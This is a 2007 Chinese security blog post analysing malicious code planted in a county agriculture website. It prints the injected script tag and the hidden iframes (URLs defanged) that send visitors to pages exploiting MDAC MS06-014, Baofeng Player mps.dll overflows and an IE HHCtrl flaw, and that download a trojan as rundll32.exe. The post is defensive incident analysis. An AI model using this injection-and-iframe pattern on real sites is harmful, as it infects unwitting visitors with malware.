某县农业网被植入利用暴风影音2缓冲区溢出等漏洞的恶意代码

原创 2007年09月25日 14:53:00

某县农业网被植入利用暴风影音2缓冲区溢出等漏洞的恶意代码

endurer 原创
2007-09-25 第1

在 Maxthon 中打开该网站,Maxthon 会假死几分钟。检查网页源文件,发现尾部被加入代码:
/---
<script language=javascript src=hxxp://www.l*u**oyun**.com.cn/ly4/UploadAdpic/main.js></script>
---/

hxxp://www.l*u**oyun**.com.cn/ly4/UploadAdpic/main.js 功能是检测 cookies 变量 starballlll,如果不存在则 创建此变量,然后尝试利用 MS06-014: msadco.dll的漏洞

《Microsoft 安全公告 MS06-014
Microsoft Data Access Components (MDAC) 功能中的漏洞可能允许执行代码 (911562)
http://www.microsoft.com/china/technet/security/bulletin/ms06-014.mspx

成功则输出代码:
/---
<iframe width=0 height=0 src=hxxp://www.st*a**rba*ll.com.cn/wm/014.htm></iframe>
---/
不成功则输出代码:
/---
<iframe width=0 height=0 src=hxxp://www.st*a**rba*ll.com.cn/wm/ying.htm></iframe>
<iframe width=0 height=0 src=hxxp://www.st*a**rba*ll.com.cn/wm/046.htm></iframe>
---/

hxxp://www.st*a**rba*ll.com.cn/wm/014.htm 下载 help.exe,保存为 c:/windows/rundll32.exe

文件说明符 : D:/test/help.exe
属性 : A---
获取文件版本信息大小失败!
创建时间 : 2007-9-25 12:50:49
修改时间 : 2007-9-25 12:50:39
访问时间 : 2007-9-25 12:52:5
大小 : 162816 字节 159.0 KB
MD5 : cf984011a6fd417bad2e9d69c3e9584e
HSA1: 448FEA693D6B30AD2BC8166911A6195BE31137B4


WARNING -> VIRUS -> W32@Sircam_mm

包含:WJD2006

 

hxxp://www.st*a**rba*ll.com.cn/wm/ying.htm 利用了暴风影音2 mps.dll组件多个缓冲区溢出漏洞执行代码。

hxxp://www.st*a**rba*ll.com.cn/wm/046.htm 利用了IE Internet.HHCtrl ActiveX对象的拒绝服务漏洞执行代码。

受IE Internet.HHCtrl ActiveX对象的拒绝服务漏洞影响的系统:
Microsoft Internet Explorer 6.0 SP1
Microsoft Internet Explorer 6.0
Internet Explorer在未初始化URL时调用Internet.HHCtrl.1 ActiveX对象的Click()方法触发空指针引用问题,可能导致IE崩溃。
参考:
IE Internet.HHCtrl ActiveX对象中拒绝服务漏洞
http://it.rising.com.cn/Channels/Safety/LatestHole/Hole_Windows/2006-07-25/1153791365d36644.shtml

以前也发现过利用此漏洞的东东:
ARP病毒加的网址利用雅虎通WebcamViewer控件溢出漏洞传播Worm.Delf.yqz
http://endurer.bokee.com/6321230.html
http://blog.csdn.net/Purpleendurer/archive/2007/06/11/1648346.aspx

暴风影音去广告补丁NSIS代码开放

#7-ZIP打开为空白 !system '>blank set/p=MSCF

暴风影音代码

  • 2013年11月26日 10:32
  • 1.35MB
  • 下载

C#播放视频时与暴风影音冲突的问题

如果你在使用C#中AxWindowsMediaPlayer控件进行视频播放,但是却与暴风影音软件造成冲突,下面的代码也许能给你带来帮助。 使用AxWindowsMediaPlayer进行播放时在某些...

有道字典主窗口初始化失败、暴风影音停止工作的诡异问题

系统xml解析库异常引起有道字典主窗口初始化失败、暴风影音停止工作等问题...

[历年IT笔试题]暴风影音笔试题集锦

(1)从一个表达式字符串中找到最深层圆括号内的表达式。如:从字符串x+(y*z)+(m-(3+4))中找到3+4.如果有多个表达式具有相同的最深深度则只需给出其中一个。 备注:算术表达式本身是正确的...

程序员没有天才:暴风影音首席架构师鲍金龙访谈

摘要:架构没有合理不合理,甚至可以没有架构。但有三点是却是非常重要的:第一是开发速度,第二是更新速度,第三是产品的极限性能。只有更快地进行产品的时代更替才是现代互联网界的追求,也是用户真正关心的。 ...
  • x32sky
  • x32sky
  • 2014年01月14日 22:47
  • 1544

[2014暴风影音笔试]求最长公共字串

给定字符串A和B,输出A和B的第一个最长公共字串。比如A="wepiabc", B="pabcni",则输出"pabc"。 #include #include using namespace s...

暴风影音笔试题 2014 武汉站

图拍的不好,凑合着看吧

2013年九月暴风影音校招笔试题

1.溢出与越界的区别 2.指出如下代码中的错误 int main() { char a; char* p = &a; strcpy(p, "Hello"); ...
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:某县农业网被植入利用暴风影音2缓冲区溢出等漏洞的恶意代码
举报原因:
原因补充:

(最多只允许输入30个字)